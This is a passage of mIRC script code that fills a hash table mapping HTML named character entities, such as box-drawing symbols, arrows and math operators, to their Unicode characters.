  4387.   hadd %h /^UnderParenthesis$/1484 $chr($base(23DD, 16, 10))
  4388.   hadd %h /^OverBrace$/1485 $chr($base(23DE, 16, 10))
  4389.   hadd %h /^UnderBrace$/1486 $chr($base(23DF, 16, 10))
  4390.   hadd %h /^trpezium$/1487 $chr($base(23E2, 16, 10))
  4391.   hadd %h /^elinters$/1488 $chr($base(23E7, 16, 10))
  4392.   hadd %h /^blank$/1489 $chr($base(2423, 16, 10))
  4393.   hadd %h /^oS$/1490 $chr($base(24C8, 16, 10))
  4394.   hadd %h /^circledS$/1491 $chr($base(24C8, 16, 10))
  4395.   hadd %h /^boxh$/1492 $chr($base(2500, 16, 10))
  4396.   hadd %h /^HorizontalLine$/1493 $chr($base(2500, 16, 10))
  4397.   hadd %h /^boxv$/1494 $chr($base(2502, 16, 10))
  4398.   hadd %h /^boxdr$/1495 $chr($base(250C, 16, 10))
  4399.   hadd %h /^boxdl$/1496 $chr($base(2510, 16, 10))
  4400.   hadd %h /^boxur$/1497 $chr($base(2514, 16, 10))
  4401.   hadd %h /^boxul$/1498 $chr($base(2518, 16, 10))
  4402.   hadd %h /^boxvr$/1499 $chr($base(251C, 16, 10))
  4403.   hadd %h /^boxvl$/1500 $chr($base(2524, 16, 10))
  4404.   hadd %h /^boxhd$/1501 $chr($base(252C, 16, 10))
  4405.   hadd %h /^boxhu$/1502 $chr($base(2534, 16, 10))
  4406.   hadd %h /^boxvh$/1503 $chr($base(253C, 16, 10))
  4407.   hadd %h /^boxH$/1504 $chr($base(2550, 16, 10))
  4408.   hadd %h /^boxV$/1505 $chr($base(2551, 16, 10))
  4409.   hadd %h /^boxdR$/1506 $chr($base(2552, 16, 10))
  4410.   hadd %h /^boxDr$/1507 $chr($base(2553, 16, 10))
  4411.   hadd %h /^boxDR$/1508 $chr($base(2554, 16, 10))
  4412.   hadd %h /^boxdL$/1509 $chr($base(2555, 16, 10))
  4413.   hadd %h /^boxDl$/1510 $chr($base(2556, 16, 10))
  4414.   hadd %h /^boxDL$/1511 $chr($base(2557, 16, 10))
  4415.   hadd %h /^boxuR$/1512 $chr($base(2558, 16, 10))
  4416.   hadd %h /^boxUr$/1513 $chr($base(2559, 16, 10))
  4417.   hadd %h /^boxUR$/1514 $chr($base(255A, 16, 10))
  4418.   hadd %h /^boxuL$/1515 $chr($base(255B, 16, 10))
  4419.   hadd %h /^boxUl$/1516 $chr($base(255C, 16, 10))
  4420.   hadd %h /^boxUL$/1517 $chr($base(255D, 16, 10))
  4421.   hadd %h /^boxvR$/1518 $chr($base(255E, 16, 10))
  4422.   hadd %h /^boxVr$/1519 $chr($base(255F, 16, 10))
  4423.   hadd %h /^boxVR$/1520 $chr($base(2560, 16, 10))
  4424.   hadd %h /^boxvL$/1521 $chr($base(2561, 16, 10))
  4425.   hadd %h /^boxVl$/1522 $chr($base(2562, 16, 10))
  4426.   hadd %h /^boxVL$/1523 $chr($base(2563, 16, 10))
  4427.   hadd %h /^boxHd$/1524 $chr($base(2564, 16, 10))
  4428.   hadd %h /^boxhD$/1525 $chr($base(2565, 16, 10))
  4429.   hadd %h /^boxHD$/1526 $chr($base(2566, 16, 10))
  4430.   hadd %h /^boxHu$/1527 $chr($base(2567, 16, 10))
  4431.   hadd %h /^boxhU$/1528 $chr($base(2568, 16, 10))
  4432.   hadd %h /^boxHU$/1529 $chr($base(2569, 16, 10))
  4433.   hadd %h /^boxvH$/1530 $chr($base(256A, 16, 10))
  4434.   hadd %h /^boxVh$/1531 $chr($base(256B, 16, 10))
  4435.   hadd %h /^boxVH$/1532 $chr($base(256C, 16, 10))
  4436.   hadd %h /^uhblk$/1533 $chr($base(2580, 16, 10))
  4437.   hadd %h /^lhblk$/1534 $chr($base(2584, 16, 10))
  4438.   hadd %h /^block$/1535 $chr($base(2588, 16, 10))
  4439.   hadd %h /^blk14$/1536 $chr($base(2591, 16, 10))
  4440.   hadd %h /^blk12$/1537 $chr($base(2592, 16, 10))
  4441.   hadd %h /^blk34$/1538 $chr($base(2593, 16, 10))
  4442.   hadd %h /^squ$/1539 $chr($base(25A1, 16, 10))
  4443.   hadd %h /^square$/1540 $chr($base(25A1, 16, 10))
  4444.   hadd %h /^Square$/1541 $chr($base(25A1, 16, 10))
  4445.   hadd %h /^squf$/1542 $chr($base(25AA, 16, 10))
  4446.   hadd %h /^squarf$/1543 $chr($base(25AA, 16, 10))
  4447.   hadd %h /^blacksquare$/1544 $chr($base(25AA, 16, 10))
  4448.   hadd %h /^FilledVerySmallSquare$/1545 $chr($base(25AA, 16, 10))
  4449.   hadd %h /^EmptyVerySmallSquare$/1546 $chr($base(25AB, 16, 10))
  4450.   hadd %h /^rect$/1547 $chr($base(25AD, 16, 10))
  4451.   hadd %h /^marker$/1548 $chr($base(25AE, 16, 10))
  4452.   hadd %h /^fltns$/1549 $chr($base(25B1, 16, 10))
  4453.   hadd %h /^xutri$/1550 $chr($base(25B3, 16, 10))
  4454.   hadd %h /^bigtriangleup$/1551 $chr($base(25B3, 16, 10))
  4455.   hadd %h /^utrif$/1552 $chr($base(25B4, 16, 10))
  4456.   hadd %h /^blacktriangle$/1553 $chr($base(25B4, 16, 10))
  4457.   hadd %h /^utri$/1554 $chr($base(25B5, 16, 10))
  4458.   hadd %h /^triangle$/1555 $chr($base(25B5, 16, 10))
  4459.   hadd %h /^rtrif$/1556 $chr($base(25B8, 16, 10))
  4460.   hadd %h /^blacktriangleright$/1557 $chr($base(25B8, 16, 10))
  4461.   hadd %h /^rtri$/1558 $chr($base(25B9, 16, 10))
  4462.   hadd %h /^triangleright$/1559 $chr($base(25B9, 16, 10))
  4463.   hadd %h /^xdtri$/1560 $chr($base(25BD, 16, 10))
  4464.   hadd %h /^bigtriangledown$/1561 $chr($base(25BD, 16, 10))
  4465.   hadd %h /^dtrif$/1562 $chr($base(25BE, 16, 10))
  4466.   hadd %h /^blacktriangledown$/1563 $chr($base(25BE, 16, 10))
  4467.   hadd %h /^dtri$/1564 $chr($base(25BF, 16, 10))
  4468.   hadd %h /^triangledown$/1565 $chr($base(25BF, 16, 10))
  4469.   hadd %h /^ltrif$/1566 $chr($base(25C2, 16, 10))
  4470.   hadd %h /^blacktriangleleft$/1567 $chr($base(25C2, 16, 10))
  4471.   hadd %h /^ltri$/1568 $chr($base(25C3, 16, 10))
  4472.   hadd %h /^triangleleft$/1569 $chr($base(25C3, 16, 10))
  4473.   hadd %h /^loz$/1570 $chr($base(25CA, 16, 10))
  4474.   hadd %h /^lozenge$/1571 $chr($base(25CA, 16, 10))
  4475.   hadd %h /^cir$/1572 $chr($base(25CB, 16, 10))
  4476.   hadd %h /^tridot$/1573 $chr($base(25EC, 16, 10))
  4477.   hadd %h /^xcirc$/1574 $chr($base(25EF, 16, 10))
  4478.   hadd %h /^bigcirc$/1575 $chr($base(25EF, 16, 10))
  4479.   hadd %h /^ultri$/1576 $chr($base(25F8, 16, 10))
  4480.   hadd %h /^urtri$/1577 $chr($base(25F9, 16, 10))
  4481.   hadd %h /^lltri$/1578 $chr($base(25FA, 16, 10))
  4482.   hadd %h /^EmptySmallSquare$/1579 $chr($base(25FB, 16, 10))
  4483.   hadd %h /^FilledSmallSquare$/1580 $chr($base(25FC, 16, 10))
  4484.   hadd %h /^starf$/1581 $chr($base(2605, 16, 10))
  4485.   hadd %h /^bigstar$/1582 $chr($base(2605, 16, 10))
  4486.   hadd %h /^star$/1583 $chr($base(2606, 16, 10))
  4487.   hadd %h /^phone$/1584 $chr($base(260E, 16, 10))
  4488.   hadd %h /^female$/1585 $chr($base(2640, 16, 10))
  4489.   hadd %h /^male$/1586 $chr($base(2642, 16, 10))
  4490.   hadd %h /^spades$/1587 $chr($base(2660, 16, 10))
  4491.   hadd %h /^spadesuit$/1588 $chr($base(2660, 16, 10))
  4492.   hadd %h /^clubs$/1589 $chr($base(2663, 16, 10))
  4493.   hadd %h /^clubsuit$/1590 $chr($base(2663, 16, 10))
  4494.   hadd %h /^hearts$/1591 $chr($base(2665, 16, 10))
  4495.   hadd %h /^heartsuit$/1592 $chr($base(2665, 16, 10))
  4496.   hadd %h /^diams$/1593 $chr($base(2666, 16, 10))
  4497.   hadd %h /^diamondsuit$/1594 $chr($base(2666, 16, 10))
  4498.   hadd %h /^sung$/1595 $chr($base(266A, 16, 10))
  4499.   hadd %h /^flat$/1596 $chr($base(266D, 16, 10))
  4500.   hadd %h /^natur$/1597 $chr($base(266E, 16, 10))
  4501.   hadd %h /^natural$/1598 $chr($base(266E, 16, 10))
  4502.   hadd %h /^sharp$/1599 $chr($base(266F, 16, 10))
  4503.   hadd %h /^check$/1600 $chr($base(2713, 16, 10))
  4504.   hadd %h /^checkmark$/1601 $chr($base(2713, 16, 10))
  4505.   hadd %h /^cross$/1602 $chr($base(2717, 16, 10))
  4506.   hadd %h /^malt$/1603 $chr($base(2720, 16, 10))
  4507.   hadd %h /^maltese$/1604 $chr($base(2720, 16, 10))
  4508.   hadd %h /^sext$/1605 $chr($base(2736, 16, 10))
  4509.   hadd %h /^VerticalSeparator$/1606 $chr($base(2758, 16, 10))
  4510.   hadd %h /^lbbrk$/1607 $chr($base(2772, 16, 10))
  4511.   hadd %h /^rbbrk$/1608 $chr($base(2773, 16, 10))
  4512.   hadd %h /^bsolhsub$/1609 $chr($base(27C8, 16, 10))
  4513.   hadd %h /^suphsol$/1610 $chr($base(27C9, 16, 10))
  4514.   hadd %h /^lobrk$/1611 $chr($base(27E6, 16, 10))
  4515.   hadd %h /^LeftDoubleBracket$/1612 $chr($base(27E6, 16, 10))
  4516.   hadd %h /^robrk$/1613 $chr($base(27E7, 16, 10))
  4517.   hadd %h /^RightDoubleBracket$/1614 $chr($base(27E7, 16, 10))
  4518.   hadd %h /^lang$/1615 $chr($base(27E8, 16, 10))
  4519.   hadd %h /^LeftAngleBracket$/1616 $chr($base(27E8, 16, 10))
  4520.   hadd %h /^langle$/1617 $chr($base(27E8, 16, 10))
  4521.   hadd %h /^rang$/1618 $chr($base(27E9, 16, 10))
  4522.   hadd %h /^RightAngleBracket$/1619 $chr($base(27E9, 16, 10))
  4523.   hadd %h /^rangle$/1620 $chr($base(27E9, 16, 10))
  4524.   hadd %h /^Lang$/1621 $chr($base(27EA, 16, 10))
  4525.   hadd %h /^Rang$/1622 $chr($base(27EB, 16, 10))
  4526.   hadd %h /^loang$/1623 $chr($base(27EC, 16, 10))
  4527.   hadd %h /^roang$/1624 $chr($base(27ED, 16, 10))
  4528.   hadd %h /^xlarr$/1625 $chr($base(27F5, 16, 10))
  4529.   hadd %h /^longleftarrow$/1626 $chr($base(27F5, 16, 10))
  4530.   hadd %h /^LongLeftArrow$/1627 $chr($base(27F5, 16, 10))
  4531.   hadd %h /^xrarr$/1628 $chr($base(27F6, 16, 10))
  4532.   hadd %h /^longrightarrow$/1629 $chr($base(27F6, 16, 10))
  4533.   hadd %h /^LongRightArrow$/1630 $chr($base(27F6, 16, 10))
  4534.   hadd %h /^xharr$/1631 $chr($base(27F7, 16, 10))
  4535.   hadd %h /^longleftrightarrow$/1632 $chr($base(27F7, 16, 10))
  4536.   hadd %h /^LongLeftRightArrow$/1633 $chr($base(27F7, 16, 10))
  4537.   hadd %h /^xlArr$/1634 $chr($base(27F8, 16, 10))
  4538.   hadd %h /^Longleftarrow$/1635 $chr($base(27F8, 16, 10))
  4539.   hadd %h /^DoubleLongLeftArrow$/1636 $chr($base(27F8, 16, 10))
  4540.   hadd %h /^xrArr$/1637 $chr($base(27F9, 16, 10))
  4541.   hadd %h /^Longrightarrow$/1638 $chr($base(27F9, 16, 10))
  4542.   hadd %h /^DoubleLongRightArrow$/1639 $chr($base(27F9, 16, 10))
  4543.   hadd %h /^xhArr$/1640 $chr($base(27FA, 16, 10))
  4544.   hadd %h /^Longleftrightarrow$/1641 $chr($base(27FA, 16, 10))
  4545.   hadd %h /^DoubleLongLeftRightArrow$/1642 $chr($base(27FA, 16, 10))
  4546.   hadd %h /^xmap$/1643 $chr($base(27FC, 16, 10))
  4547.   hadd %h /^longmapsto$/1644 $chr($base(27FC, 16, 10))
  4548.   hadd %h /^dzigrarr$/1645 $chr($base(27FF, 16, 10))
  4549.   hadd %h /^nvlArr$/1646 $chr($base(2902, 16, 10))
  4550.   hadd %h /^nvrArr$/1647 $chr($base(2903, 16, 10))
  4551.   hadd %h /^nvHarr$/1648 $chr($base(2904, 16, 10))
  4552.   hadd %h /^Map$/1649 $chr($base(2905, 16, 10))
  4553.   hadd %h /^lbarr$/1650 $chr($base(290C, 16, 10))
  4554.   hadd %h /^rbarr$/1651 $chr($base(290D, 16, 10))
  4555.   hadd %h /^bkarow$/1652 $chr($base(290D, 16, 10))
  4556.   hadd %h /^lBarr$/1653 $chr($base(290E, 16, 10))
  4557.   hadd %h /^rBarr$/1654 $chr($base(290F, 16, 10))
  4558.   hadd %h /^dbkarow$/1655 $chr($base(290F, 16, 10))
  4559.   hadd %h /^RBarr$/1656 $chr($base(2910, 16, 10))
  4560.   hadd %h /^drbkarow$/1657 $chr($base(2910, 16, 10))
  4561.   hadd %h /^DDotrahd$/1658 $chr($base(2911, 16, 10))
  4562.   hadd %h /^UpArrowBar$/1659 $chr($base(2912, 16, 10))
  4563.   hadd %h /^DownArrowBar$/1660 $chr($base(2913, 16, 10))
  4564.   hadd %h /^Rarrtl$/1661 $chr($base(2916, 16, 10))
  4565.   hadd %h /^latail$/1662 $chr($base(2919, 16, 10))
  4566.   hadd %h /^ratail$/1663 $chr($base(291A, 16, 10))
  4567.   hadd %h /^lAtail$/1664 $chr($base(291B, 16, 10))
  4568.   hadd %h /^rAtail$/1665 $chr($base(291C, 16, 10))
  4569.   hadd %h /^larrfs$/1666 $chr($base(291D, 16, 10))
  4570.   hadd %h /^rarrfs$/1667 $chr($base(291E, 16, 10))
  4571.   hadd %h /^larrbfs$/1668 $chr($base(291F, 16, 10))
  4572.   hadd %h /^rarrbfs$/1669 $chr($base(2920, 16, 10))
  4573.   hadd %h /^nwarhk$/1670 $chr($base(2923, 16, 10))
  4574.   hadd %h /^nearhk$/1671 $chr($base(2924, 16, 10))
  4575.   hadd %h /^searhk$/1672 $chr($base(2925, 16, 10))
  4576.   hadd %h /^hksearow$/1673 $chr($base(2925, 16, 10))
  4577.   hadd %h /^swarhk$/1674 $chr($base(2926, 16, 10))
  4578.   hadd %h /^hkswarow$/1675 $chr($base(2926, 16, 10))
  4579.   hadd %h /^nwnear$/1676 $chr($base(2927, 16, 10))
  4580.   hadd %h /^nesear$/1677 $chr($base(2928, 16, 10))
  4581.   hadd %h /^toea$/1678 $chr($base(2928, 16, 10))
  4582.   hadd %h /^seswar$/1679 $chr($base(2929, 16, 10))
  4583.   hadd %h /^tosa$/1680 $chr($base(2929, 16, 10))
  4584.   hadd %h /^swnwar$/1681 $chr($base(292A, 16, 10))
  4585.   hadd %h /^rarrc$/1682 $chr($base(2933, 16, 10))
  4586.   hadd %h /^nrarrc$/1683 $chr($base(2933, 16, 10)) $+ $chr($base(0338, 16, 10))
  4587.   hadd %h /^cudarrr$/1684 $chr($base(2935, 16, 10))
  4588.   hadd %h /^ldca$/1685 $chr($base(2936, 16, 10))
  4589.   hadd %h /^rdca$/1686 $chr($base(2937, 16, 10))
  4590.   hadd %h /^cudarrl$/1687 $chr($base(2938, 16, 10))
  4591.   hadd %h /^larrpl$/1688 $chr($base(2939, 16, 10))
  4592.   hadd %h /^curarrm$/1689 $chr($base(293C, 16, 10))
  4593.   hadd %h /^cularrp$/1690 $chr($base(293D, 16, 10))
  4594.   hadd %h /^rarrpl$/1691 $chr($base(2945, 16, 10))
  4595.   hadd %h /^harrcir$/1692 $chr($base(2948, 16, 10))
  4596.   hadd %h /^Uarrocir$/1693 $chr($base(2949, 16, 10))
  4597.   hadd %h /^lurdshar$/1694 $chr($base(294A, 16, 10))
  4598.   hadd %h /^ldrushar$/1695 $chr($base(294B, 16, 10))
  4599.   hadd %h /^LeftRightVector$/1696 $chr($base(294E, 16, 10))
  4600.   hadd %h /^RightUpDownVector$/1697 $chr($base(294F, 16, 10))
  4601.   hadd %h /^DownLeftRightVector$/1698 $chr($base(2950, 16, 10))
  4602.   hadd %h /^LeftUpDownVector$/1699 $chr($base(2951, 16, 10))
  4603.   hadd %h /^LeftVectorBar$/1700 $chr($base(2952, 16, 10))
  4604.   hadd %h /^RightVectorBar$/1701 $chr($base(2953, 16, 10))
  4605.   hadd %h /^RightUpVectorBar$/1702 $chr($base(2954, 16, 10))
  4606.   hadd %h /^RightDownVectorBar$/1703 $chr($base(2955, 16, 10))
  4607.   hadd %h /^DownLeftVectorBar$/1704 $chr($base(2956, 16, 10))
  4608.   hadd %h /^DownRightVectorBar$/1705 $chr($base(2957, 16, 10))
  4609.   hadd %h /^LeftUpVectorBar$/1706 $chr($base(2958, 16, 10))
  4610.   hadd %h /^LeftDownVectorBar$/1707 $chr($base(2959, 16, 10))
  4611.   hadd %h /^LeftTeeVector$/1708 $chr($base(295A, 16, 10))
  4612.   hadd %h /^RightTeeVector$/1709 $chr($base(295B, 16, 10))
  4613.   hadd %h /^RightUpTeeVector$/1710 $chr($base(295C, 16, 10))
  4614.   hadd %h /^RightDownTeeVector$/1711 $chr($base(295D, 16, 10))
  4615.   hadd %h /^DownLeftTeeVector$/1712 $chr($base(295E, 16, 10))
  4616.   hadd %h /^DownRightTeeVector$/1713 $chr($base(295F, 16, 10))
  4617.   hadd %h /^LeftUpTeeVector$/1714 $chr($base(2960, 16, 10))
  4618.   hadd %h /^LeftDownTeeVector$/1715 $chr($base(2961, 16, 10))
  4619.   hadd %h /^lHar$/1716 $chr($base(2962, 16, 10))
  4620.   hadd %h /^uHar$/1717 $chr($base(2963, 16, 10))
  4621.   hadd %h /^rHar$/1718 $chr($base(2964, 16, 10))
  4622.   hadd %h /^dHar$/1719 $chr($base(2965, 16, 10))
  4623.   hadd %h /^luruhar$/1720 $chr($base(2966, 16, 10))
  4624.   hadd %h /^ldrdhar$/1721 $chr($base(2967, 16, 10))
  4625.   hadd %h /^ruluhar$/1722 $chr($base(2968, 16, 10))
  4626.   hadd %h /^rdldhar$/1723 $chr($base(2969, 16, 10))
  4627.   hadd %h /^lharul$/1724 $chr($base(296A, 16, 10))
  4628.   hadd %h /^llhard$/1725 $chr($base(296B, 16, 10))
  4629.   hadd %h /^rharul$/1726 $chr($base(296C, 16, 10))
  4630.   hadd %h /^lrhard$/1727 $chr($base(296D, 16, 10))
  4631.   hadd %h /^udhar$/1728 $chr($base(296E, 16, 10))
  4632.   hadd %h /^UpEquilibrium$/1729 $chr($base(296E, 16, 10))
  4633.   hadd %h /^duhar$/1730 $chr($base(296F, 16, 10))
  4634.   hadd %h /^ReverseUpEquilibrium$/1731 $chr($base(296F, 16, 10))
  4635.   hadd %h /^RoundImplies$/1732 $chr($base(2970, 16, 10))
  4636.   hadd %h /^erarr$/1733 $chr($base(2971, 16, 10))
  4637.   hadd %h /^simrarr$/1734 $chr($base(2972, 16, 10))
  4638.   hadd %h /^larrsim$/1735 $chr($base(2973, 16, 10))
  4639.   hadd %h /^rarrsim$/1736 $chr($base(2974, 16, 10))
  4640.   hadd %h /^rarrap$/1737 $chr($base(2975, 16, 10))
  4641.   hadd %h /^ltlarr$/1738 $chr($base(2976, 16, 10))
  4642.   hadd %h /^gtrarr$/1739 $chr($base(2978, 16, 10))
  4643.   hadd %h /^subrarr$/1740 $chr($base(2979, 16, 10))
  4644.   hadd %h /^suplarr$/1741 $chr($base(297B, 16, 10))
  4645.   hadd %h /^lfisht$/1742 $chr($base(297C, 16, 10))
  4646.   hadd %h /^rfisht$/1743 $chr($base(297D, 16, 10))
  4647.   hadd %h /^ufisht$/1744 $chr($base(297E, 16, 10))
  4648.   hadd %h /^dfisht$/1745 $chr($base(297F, 16, 10))
  4649.   hadd %h /^lopar$/1746 $chr($base(2985, 16, 10))
  4650.   hadd %h /^ropar$/1747 $chr($base(2986, 16, 10))
  4651.   hadd %h /^lbrke$/1748 $chr($base(298B, 16, 10))
  4652.   hadd %h /^rbrke$/1749 $chr($base(298C, 16, 10))
  4653.   hadd %h /^lbrkslu$/1750 $chr($base(298D, 16, 10))
  4654.   hadd %h /^rbrksld$/1751 $chr($base(298E, 16, 10))
  4655.   hadd %h /^lbrksld$/1752 $chr($base(298F, 16, 10))
  4656.   hadd %h /^rbrkslu$/1753 $chr($base(2990, 16, 10))
  4657.   hadd %h /^langd$/1754 $chr($base(2991, 16, 10))
  4658.   hadd %h /^rangd$/1755 $chr($base(2992, 16, 10))
  4659.   hadd %h /^lparlt$/1756 $chr($base(2993, 16, 10))
  4660.   hadd %h /^rpargt$/1757 $chr($base(2994, 16, 10))
  4661.   hadd %h /^gtlPar$/1758 $chr($base(2995, 16, 10))
  4662.   hadd %h /^ltrPar$/1759 $chr($base(2996, 16, 10))
  4663.   hadd %h /^vzigzag$/1760 $chr($base(299A, 16, 10))
  4664.   hadd %h /^vangrt$/1761 $chr($base(299C, 16, 10))
  4665.   hadd %h /^angrtvbd$/1762 $chr($base(299D, 16, 10))
  4666.   hadd %h /^ange$/1763 $chr($base(29A4, 16, 10))
  4667.   hadd %h /^range$/1764 $chr($base(29A5, 16, 10))
  4668.   hadd %h /^dwangle$/1765 $chr($base(29A6, 16, 10))
  4669.   hadd %h /^uwangle$/1766 $chr($base(29A7, 16, 10))
  4670.   hadd %h /^angmsdaa$/1767 $chr($base(29A8, 16, 10))
  4671.   hadd %h /^angmsdab$/1768 $chr($base(29A9, 16, 10))
  4672.   hadd %h /^angmsdac$/1769 $chr($base(29AA, 16, 10))
  4673.   hadd %h /^angmsdad$/1770 $chr($base(29AB, 16, 10))
  4674.   hadd %h /^angmsdae$/1771 $chr($base(29AC, 16, 10))
  4675.   hadd %h /^angmsdaf$/1772 $chr($base(29AD, 16, 10))
  4676.   hadd %h /^angmsdag$/1773 $chr($base(29AE, 16, 10))
  4677.   hadd %h /^angmsdah$/1774 $chr($base(29AF, 16, 10))
  4678.   hadd %h /^bemptyv$/1775 $chr($base(29B0, 16, 10))
  4679.   hadd %h /^demptyv$/1776 $chr($base(29B1, 16, 10))
  4680.   hadd %h /^cemptyv$/1777 $chr($base(29B2, 16, 10))
  4681.   hadd %h /^raemptyv$/1778 $chr($base(29B3, 16, 10))
  4682.   hadd %h /^laemptyv$/1779 $chr($base(29B4, 16, 10))
  4683.   hadd %h /^ohbar$/1780 $chr($base(29B5, 16, 10))
  4684.   hadd %h /^omid$/1781 $chr($base(29B6, 16, 10))
  4685.   hadd %h /^opar$/1782 $chr($base(29B7, 16, 10))
  4686.   hadd %h /^operp$/1783 $chr($base(29B9, 16, 10))
  4687.   hadd %h /^olcross$/1784 $chr($base(29BB, 16, 10))
  4688.   hadd %h /^odsold$/1785 $chr($base(29BC, 16, 10))
  4689.   hadd %h /^olcir$/1786 $chr($base(29BE, 16, 10))
  4690.   hadd %h /^ofcir$/1787 $chr($base(29BF, 16, 10))
  4691.   hadd %h /^olt$/1788 $chr($base(29C0, 16, 10))
  4692.   hadd %h /^ogt$/1789 $chr($base(29C1, 16, 10))
  4693.   hadd %h /^cirscir$/1790 $chr($base(29C2, 16, 10))
  4694.   hadd %h /^cirE$/1791 $chr($base(29C3, 16, 10))
  4695.   hadd %h /^solb$/1792 $chr($base(29C4, 16, 10))
  4696.   hadd %h /^bsolb$/1793 $chr($base(29C5, 16, 10))
  4697.   hadd %h /^boxbox$/1794 $chr($base(29C9, 16, 10))
  4698.   hadd %h /^trisb$/1795 $chr($base(29CD, 16, 10))
  4699.   hadd %h /^rtriltri$/1796 $chr($base(29CE, 16, 10))
  4700.   hadd %h /^LeftTriangleBar$/1797 $chr($base(29CF, 16, 10))
  4701.   hadd %h /^NotLeftTriangleBar$/1798 $chr($base(29CF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4702.   hadd %h /^RightTriangleBar$/1799 $chr($base(29D0, 16, 10))
  4703.   hadd %h /^NotRightTriangleBar$/1800 $chr($base(29D0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4704.   hadd %h /^iinfin$/1801 $chr($base(29DC, 16, 10))
  4705.   hadd %h /^infintie$/1802 $chr($base(29DD, 16, 10))
  4706.   hadd %h /^nvinfin$/1803 $chr($base(29DE, 16, 10))
  4707.   hadd %h /^eparsl$/1804 $chr($base(29E3, 16, 10))
  4708.   hadd %h /^smeparsl$/1805 $chr($base(29E4, 16, 10))
  4709.   hadd %h /^eqvparsl$/1806 $chr($base(29E5, 16, 10))
  4710.   hadd %h /^lozf$/1807 $chr($base(29EB, 16, 10))
  4711.   hadd %h /^blacklozenge$/1808 $chr($base(29EB, 16, 10))
  4712.   hadd %h /^RuleDelayed$/1809 $chr($base(29F4, 16, 10))
  4713.   hadd %h /^dsol$/1810 $chr($base(29F6, 16, 10))
  4714.   hadd %h /^xodot$/1811 $chr($base(2A00, 16, 10))
  4715.   hadd %h /^bigodot$/1812 $chr($base(2A00, 16, 10))
  4716.   hadd %h /^xoplus$/1813 $chr($base(2A01, 16, 10))
  4717.   hadd %h /^bigoplus$/1814 $chr($base(2A01, 16, 10))
  4718.   hadd %h /^xotime$/1815 $chr($base(2A02, 16, 10))
  4719.   hadd %h /^bigotimes$/1816 $chr($base(2A02, 16, 10))
  4720.   hadd %h /^xuplus$/1817 $chr($base(2A04, 16, 10))
  4721.   hadd %h /^biguplus$/1818 $chr($base(2A04, 16, 10))
  4722.   hadd %h /^xsqcup$/1819 $chr($base(2A06, 16, 10))
  4723.   hadd %h /^bigsqcup$/1820 $chr($base(2A06, 16, 10))
  4724.   hadd %h /^qint$/1821 $chr($base(2A0C, 16, 10))
  4725.   hadd %h /^iiiint$/1822 $chr($base(2A0C, 16, 10))
  4726.   hadd %h /^fpartint$/1823 $chr($base(2A0D, 16, 10))
  4727.   hadd %h /^cirfnint$/1824 $chr($base(2A10, 16, 10))
  4728.   hadd %h /^awint$/1825 $chr($base(2A11, 16, 10))
  4729.   hadd %h /^rppolint$/1826 $chr($base(2A12, 16, 10))
  4730.   hadd %h /^scpolint$/1827 $chr($base(2A13, 16, 10))
  4731.   hadd %h /^npolint$/1828 $chr($base(2A14, 16, 10))
  4732.   hadd %h /^pointint$/1829 $chr($base(2A15, 16, 10))
  4733.   hadd %h /^quatint$/1830 $chr($base(2A16, 16, 10))
  4734.   hadd %h /^intlarhk$/1831 $chr($base(2A17, 16, 10))
  4735.   hadd %h /^pluscir$/1832 $chr($base(2A22, 16, 10))
  4736.   hadd %h /^plusacir$/1833 $chr($base(2A23, 16, 10))
  4737.   hadd %h /^simplus$/1834 $chr($base(2A24, 16, 10))
  4738.   hadd %h /^plusdu$/1835 $chr($base(2A25, 16, 10))
  4739.   hadd %h /^plussim$/1836 $chr($base(2A26, 16, 10))
  4740.   hadd %h /^plustwo$/1837 $chr($base(2A27, 16, 10))
  4741.   hadd %h /^mcomma$/1838 $chr($base(2A29, 16, 10))
  4742.   hadd %h /^minusdu$/1839 $chr($base(2A2A, 16, 10))
  4743.   hadd %h /^loplus$/1840 $chr($base(2A2D, 16, 10))
  4744.   hadd %h /^roplus$/1841 $chr($base(2A2E, 16, 10))
  4745.   hadd %h /^Cross$/1842 $chr($base(2A2F, 16, 10))
  4746.   hadd %h /^timesd$/1843 $chr($base(2A30, 16, 10))
  4747.   hadd %h /^timesbar$/1844 $chr($base(2A31, 16, 10))
  4748.   hadd %h /^smashp$/1845 $chr($base(2A33, 16, 10))
  4749.   hadd %h /^lotimes$/1846 $chr($base(2A34, 16, 10))
  4750.   hadd %h /^rotimes$/1847 $chr($base(2A35, 16, 10))
  4751.   hadd %h /^otimesas$/1848 $chr($base(2A36, 16, 10))
  4752.   hadd %h /^Otimes$/1849 $chr($base(2A37, 16, 10))
  4753.   hadd %h /^odiv$/1850 $chr($base(2A38, 16, 10))
  4754.   hadd %h /^triplus$/1851 $chr($base(2A39, 16, 10))
  4755.   hadd %h /^triminus$/1852 $chr($base(2A3A, 16, 10))
  4756.   hadd %h /^tritime$/1853 $chr($base(2A3B, 16, 10))
  4757.   hadd %h /^iprod$/1854 $chr($base(2A3C, 16, 10))
  4758.   hadd %h /^intprod$/1855 $chr($base(2A3C, 16, 10))
  4759.   hadd %h /^amalg$/1856 $chr($base(2A3F, 16, 10))
  4760.   hadd %h /^capdot$/1857 $chr($base(2A40, 16, 10))
  4761.   hadd %h /^ncup$/1858 $chr($base(2A42, 16, 10))
  4762.   hadd %h /^ncap$/1859 $chr($base(2A43, 16, 10))
  4763.   hadd %h /^capand$/1860 $chr($base(2A44, 16, 10))
  4764.   hadd %h /^cupor$/1861 $chr($base(2A45, 16, 10))
  4765.   hadd %h /^cupcap$/1862 $chr($base(2A46, 16, 10))
  4766.   hadd %h /^capcup$/1863 $chr($base(2A47, 16, 10))
  4767.   hadd %h /^cupbrcap$/1864 $chr($base(2A48, 16, 10))
  4768.   hadd %h /^capbrcup$/1865 $chr($base(2A49, 16, 10))
  4769.   hadd %h /^cupcup$/1866 $chr($base(2A4A, 16, 10))
  4770.   hadd %h /^capcap$/1867 $chr($base(2A4B, 16, 10))
  4771.   hadd %h /^ccups$/1868 $chr($base(2A4C, 16, 10))
  4772.   hadd %h /^ccaps$/1869 $chr($base(2A4D, 16, 10))
  4773.   hadd %h /^ccupssm$/1870 $chr($base(2A50, 16, 10))
  4774.   hadd %h /^And$/1871 $chr($base(2A53, 16, 10))
  4775.   hadd %h /^Or$/1872 $chr($base(2A54, 16, 10))
  4776.   hadd %h /^andand$/1873 $chr($base(2A55, 16, 10))
  4777.   hadd %h /^oror$/1874 $chr($base(2A56, 16, 10))
  4778.   hadd %h /^orslope$/1875 $chr($base(2A57, 16, 10))
  4779.   hadd %h /^andslope$/1876 $chr($base(2A58, 16, 10))
